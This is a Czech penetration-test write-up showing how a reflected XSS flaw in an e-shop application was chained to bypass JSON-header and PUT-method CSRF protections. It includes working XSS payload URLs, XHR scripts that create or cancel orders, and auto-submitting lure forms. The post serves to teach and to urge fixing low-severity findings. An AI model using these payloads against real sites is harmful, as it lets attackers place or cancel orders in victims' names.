Bypass ochrany proti útoku CSRF

Ukážeme si obejití CSRF (Cross Site Request Forgery) ochrany implementovanou dvěma rozdílnými způsoby. Popisujeme případ z reálného penetračního testu z poslední doby (tedy ne, nebudeme využívat zranitelnosti Adobe Flash :) ). CSRF je jedna z metod útoku pracující na bázi provedení nezamýšleného požadavku pro vykonání autentizované akce v dané aplikaci, který ovšem pochází z nelegitimního zdroje. Podrobnější popis zde: https://owasp.org/www-community/attacks/csrf

Mezi první pokusy při testování webové aplikace na zranitelnost CSRF patří vyzkoušet následující:

  • Záměna HTTP metod (GET za POST)
  • Odeslání požadavku s prázdnou Referrer hlavičkou
  • Odeslaní požadavku s prázdným CSRF tokenem
  • Odeslaní požadavku bez hlavičky Content-Type

Dálší možnou zranitelností vedoucí k CSRF je stav, kdy anti-CSRF token je závislý na hodnotě session cookie. Pokud v takovém případě existuje i zranitelnost Session-Fixation, pak je možné předpovídat hodnotu anti-CSRF tokenu.

Testovaná aplikace nebyla zranitelná v žádném z těchto zmíněných učebnicových pokusů pro překonání obrany proti CSRF. Museli jsme se proto ponořit níže do problematiky a přijít s jiným řešením.

Během průběhu penetračních testů jsme zjistili následující:

  • Testovaná aplikace obsahuje DOM-based XSS:
    • Například zde: https://aplikace.cz/vyhledavani?search=a"><script>prompt(16)</script>

Mohlo By Vás Zajímat

[]https://portswigger.net/web-security/csrf
[]https://portswigger.net/web-security/csrf/xss-vs-csrf
[]https://malcomvetter.medium.com/bypassing-csrf-tokens-via-xss-f7b0f9f3dbc6
[]https://www.f5.com/labs/articles/threat-intelligence/how-three-low-risk-vulnerabilities-become-one-high-24995
Ukázka DOM-based XSS v testované aplikaci
Ukázka DOM-based XSS v testované aplikaci
  • Následující dvě funkcionality se zdají zranitelné:
    • Vytvoření nové objednávky
    • Zrušení objednávky

V nejjednodušších případech se pro potřeby PoC CSRF útoku vytvoří požadavek pomocí HTML tagu <form>.

Příkladem může být:

<html>
<body>
form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Takto jednoduše se postupuje pouze v případě, kdy není implementována žádná mitigace CSRF útoku, což není naše situace.

Zajímavostí je, že výše zmíněné 2 funkcionality mají odlišný přístup k mitigaci útoku CSRF. Jako PoC v obou případech vytvoříme tlačítko, které s kliknutím zajistí provedení privilegované akce jménem klikající přihlášené oběti. (Během reálného útoku by škodlivá stránka namísto zobrazení tlačítka rovnou odeslala požadavek pomocí Javascript direktivy "onload" a nikdo by nemusel nikam klikat.)

Začněme s prozkoumáním funkcionality pro uskutečnění objednávky.

Použitá Mitigace CSRF: Požadavek s hlavičkou Content-Type: application/json

Příklad uskutečnění nové objednávky:

POST /api/objednavka/nova HTTP/1.1
Host: aplikace.cz
User-Agent: Mozilla/5.0
Content-Type: application/json;
Cookie: UserID=5ACD976F5EE3056F; SessionToken=4BB2CB76FE06470561DA1D43A1D4EF50
Content-Length: XX
{
"ZboziID":[[6,16,27,35,46,49]],
"Adresa":"AEC, Voctarova 20a, Praha 8, 180 00",
"ExpressDoruceni":1
}
Požadavek pro vytvoření nové objednávky
HTTP/1.1 200 OK
Content-Length: 374
Content-Type: application/json; charset=utf-8
Request-Context: appId=cid-v1:2b7aaec6-9e8e-42bd-814c-347b8b34cb3d
Strict-Transport-Security: max-age=2592000
X-Powered-By: ASP.NET
X-Azure-Ref: 0b5p+YAAAAADvAU9VREKLR5vdNQlhdUwdUFJHMDFFREdFMDcwOAA4N2RhOTU0YS01YzU0LTQ1NmUtOWRhYy1jOTgzMjk5ZThmODg=
Date: Tue, 20 Apr 2021 09:10:07 GMT
{"Payload":{"UserID":"5ACD976F5EE3056F","ObjednavkaID":1829093},
"StatusCode":200,
"AlertType":"SUCCESS",
"ErrorCode":null,
"FieldErrors":null}
Odpověď s potvrzením úspěšného vytvoření objednávky

Webový server vyžaduje v požadavku hlavičku Content-Type: application/json;. Bez této hlavičky nenaparsuje data a požadavek selže.

Není možné nastavit HTTP hlavičku při vytvoření požadavku pomocí tagu <form>. Nabízí se možnost využít vlastnosti moderních prohlížečů a to odeslat XHR (XMLHttpRequest) požadavek. Avšak zde narážíme na problém, že nemůžeme udělat požadavek mezi dvěma různými doménami.

Anebo toto omezení není pro nás problémem? Můžeme přeci využít již nalezené XSS zranitelnosti v testované aplikaci! Požadavku iniciovanému javascriptovým kódem ze zranitelnosti XSS v téže aplikaci nevadí same-domain omezení . Následující kroky jsou již přímočaré.

1. Připravíme si JS kód odesílající XHR požadavek s vytvořením objednávky.

function objednej() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('POST', '/api/objednavka/nova');
xmlhttp.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
xmlhttp.send(JSON.stringify({
'ZboziID': [[6,16,27,35,46,49]],
'Adresa': 'AEC, Voctarova 20a, Praha 8, 180 00',
'ExpressDoruceni': 1
}));
}
objednej();
JS kód odesílající požadavek s novou objednávkou

2. Vložíme výše zmíněný JS kód do existujícího XSS v aplikaci:

https://aplikace.cz/vyhledavani?search=a%22%3E%3Cscript%3Efunction%20objednej()%7Bvar%20xmlhttp%20=%20new%20XMLHttpRequest();%20xmlhttp.open(%22POST%22,%20%22/api/objednavka/nova%22);%20xmlhttp.setRequestHeader(%22Content-Type%22,%20%22application/json;charset=UTF-8%22);%20xmlhttp.send(JSON.stringify(%7B%22ZboziID%22:%5B%5B6,16,27,35,46,49%5D%5D,%22Adresa%22:%22AEC,%20Voctarova%2020a,%20Praha%208,%20180%2000%22,%22ExpressDoruceni%22:1%7D));%7D%20objednej();%3C/script%3E
Použití XSS zranitelnosti pro vykonání našeho JS payloadu

3. Připravíme si jednoduchý formulář s tlačítkem vhodným k podstrčení oběti pro vyvolaní GET požadavku s námi vygenerovaným payloadem.

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://aplikace.cz/vyhledavani">
<input type="hidden" name="search" value="a&quot;&gt;&lt;script&gt;function&#32;objednej&#40;&#41;&#123;var&#32;xmlhttp&#32;&#61;&#32;new&#32;XMLHttpRequest&#40;&#41;&#59;&#32;xmlhttp&#46;open&#40;&quot;POST&quot;&#44;&#32;&quot;&#47;api&#47;objednavka&#47;nova&quot;&#41;&#59;&#32;xmlhttp&#46;setRequestHeader&#40;&quot;Content&#45;Type&quot;&#44;&#32;&quot;application&#47;json&#59;charset&#61;UTF&#45;8&quot;&#41;&#59;&#32;xmlhttp&#46;send&#40;JSON&#46;stringify&#40;&#123;&quot;ZboziID&quot;&#58;&#91;&#91;6&#44;16&#44;27&#44;35&#44;46&#44;49&#93;&#93;&#44;&quot;Adresa&quot;&#58;&quot;AEC&#44;&#32;Voctarova&#32;20a&#44;&#32;Praha&#32;8&#44;&#32;180&#32;00&quot;&#44;&quot;ExpressDoruceni&quot;&#58;1&#125;&#41;&#41;&#59;&#125;&#32;objednej&#40;&#41;&#59;&lt;&#47;script&gt;" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Tímto jsme získali nevině vypadající tlačítko, které s kliknutím oběti vytvoří objednávku na její jméno v testované aplikaci, avšak s námi vybraným zbožím a doručovací adresou.

Podstrčené tlačítko oběti pro vytvoření podvržené objednávky
Podstrčené tlačítko oběti pro vytvoření podvržené objednávky

Použitá Mitigace CSRF: PUT Požadavek

Dále se podívejme, jak vytvořit obdobné tlačítko pro zrušení námi zvolené objednávky.

Požadavek pro zrušení objednávky:

PUT /api/objednavka/cancel?id=1829093 HTTP/1.1
Host: aplikace.cz
User-Agent: Mozilla/5.0
Origin: aplikace.cz
Content-Length: 0
Cookie: UserID=5ACD976F5EE3056F; SessionToken=4BB2CB76FE06470561DA1D43A1D4EF50
Požadavek pro zrušení objednávky
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Request-Context: appId=cid-v1:2b7aaec6-9e8e-42bd-814c-347b8b34cb3d
Strict-Transport-Security: max-age=2592000
Access-Control-Allow-Origin: aplikace.cz
X-Powered-By: ASP.NET
X-Azure-Ref: 0xpx+YAAAAABs5iLt823PR58/7iVb5BqNUFJHMDFFREdFMDcxNAA4N2RhOTU0YS01YzU0LTQ1NmUtOWRhYy1jOTgzMjk5ZThmODg=
Date: Tue, 20 Apr 2021 09:20:07 GMT
Content-Length: 89
{
"id":"1829106",
"status":"CANCELLED",
"creditAmount":4000,
"transactionTime":1618910469000
}
Odpověď s potvrzením úspěšného zrušení objednávky

Server akceptuje požadavky pouze při použití metody PUT.

Podobně jako v případu objednání zboží nelze použít HTML tag <form> pro odeslání požadavku, protože tag <form> umožnuje pouze odeslání požadavku metodou GET a POST.

S využitím zkušeností z případu objednání zboží je ale i tato překážka pro nás hračkou. Znova využijeme přítomnou zranitelnost XSS k odeslání XHR požadavku, tentokrát v něm specifikujeme použití HTTP metody PUT. Postupujeme následovně:

1. Vytvoříme JS kód odesílající XHR požadavek pro zrušení objednávky například s id=1829093

function zrus()
{const xmlhttp = new XMLHttpRequest();
Http.open('PUT', 'api/objednavka/cancel?id=1829093');
Http.send();
}
zrus();
JS kód odesílající požadavek pro zrušení objednávky

2. Vložíme výše zmíněný JS kód do existujícího XSS v aplikaci

https://aplikace.cz/vyhledavani?search=a%22%3E%3Cscript%3Efunction%20zrus()%20%7Bconst%20xmlhttp%20=%20new%20XMLHttpRequest();xmlhttp.open('PUT',%20'api/objednavka/cancel?id=1829093');xmlhttp.send();%7Dzrus();%3C/script%3E
Použití XSS zranitelnosti pro vykonání našeho JS payloadu

3. Připravíme si jednoduchý formulář s tlačítkem vhodným k podstrčení oběti pro vyvolaní GET požadavku s námi vygenerovaným payloadem.

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://aplikace.cz/vyhledavani">
<input type="hidden" name="search" value="a&quot;&gt;&lt;script&gt;function&#32;zrus&#40;&#41;&#32;&#123;const&#32;xmlhttp&#32;&#61;&#32;new&#32;XMLHttpRequest&#40;&#41;&#59;xmlhttp&#46;open&#40;&apos;PUT&apos;&#44;&#32;&apos;api&#47;objednavka&#47;cancel&#63;id&#61;1829093&apos;&#41;&#59;xmlhttp&#46;send&#40;&#41;&#59;&#125;zrus&#40;&#41;&#59;&lt;&#47;script&gt;" />
<input type="submit" value="Zrus !" />
</form>
</body>
</html>

Podstrčené tlačítko oběti pro vytvoření podvržené objednávky
Podstrčené tlačítko oběti pro vytvoření podvržené objednávky

Závěrem

V obou případech jsme získali jednoduchý HTML kód, který ve jménu autentizované oběti vykoná námi zamýšlenou akci. (Ted už zbývá jenom přesvědčit oběť, aby klikla na naše připravené tlačítko 😈, nebo předpřipravený kód spustíme Javascript direktivou "onload" s načtením naší škodlivé stránky v prohlížeči oběti.)

Zajímavostí na závěr je fakt, že testovaná aplikace se nacházela v tomto stavu i po nahlášení CSRF a DOM-based XSS v minulých penetračních testech.

V obou rozebraných případech CSRF zranitelnosti by aktuální implementovaná mitigace dostačovala, pokud by nebyla přítomna zranitelnost reflected DOM-based XSS. Zde se velmi pěkně projevil fakt, že je vhodné se snažit aktivně předcházet možným zranitelnostem především nápravou všech reportovaných nedostatků a ne se věnovat pouze n8lezům s kritickou či vysokou mírou rizika. Často právě nálezy i s nízkou závažností přivedou útočníka na stopu, která může končit kompromitací celé aplikace.

Mohlo By Vás Zajímat

[]https://portswigger.net/web-security/csrf
[]https://portswigger.net/web-security/csrf/xss-vs-csrf
[]https://malcomvetter.medium.com/bypassing-csrf-tokens-via-xss-f7b0f9f3dbc6
[]https://www.f5.com/labs/articles/threat-intelligence/how-three-low-risk-vulnerabilities-become-one-high-24995